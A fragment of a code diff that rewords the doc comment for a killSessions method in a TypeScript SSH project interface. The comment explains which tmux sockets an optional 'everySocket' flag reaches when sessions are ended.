*/destroy(persistKey: string, opts?: { everySocket?: boolean }): void/** Ends a node's persistent session so the SAME node id respawns in a new cwd ("move into* worktree"). Same tmux kill as `destroy`, opposite intent: the node stays on the canvas, so@@ -2811,10 +2811,10 @@ export interface SshProjectApi {* mounted, and must be awaited BEFORE disconnect (which kills the master). `nodeIds` are* raw node ids; main maps them to `nt-<id>` session names.*- * `everySocket` widens the kill to every tmux socket on the host rather than the `nodeterm-rmt`- * one an SSH project spawns on. Opt-in for ONE caller — the session-memory panel, whose rows are- * swept off both sockets. Project deletion stays narrow: `node-terminal` on that host belongs to- * a nodeterm running ON it, not to us.+ * `everySocket` widens the kill to every tmux socket on the host rather than the `node-terminal`+ * one an SSH project spawns on (shared with a nodeterm running ON the host). Opt-in for ONE+ * caller — the session-memory panel, whose rows are swept off both sockets. Project deletion+ * stays narrow: the legacy `nodeterm-rmt` holds only what an older build left behind.*/killSessions(projectId: string,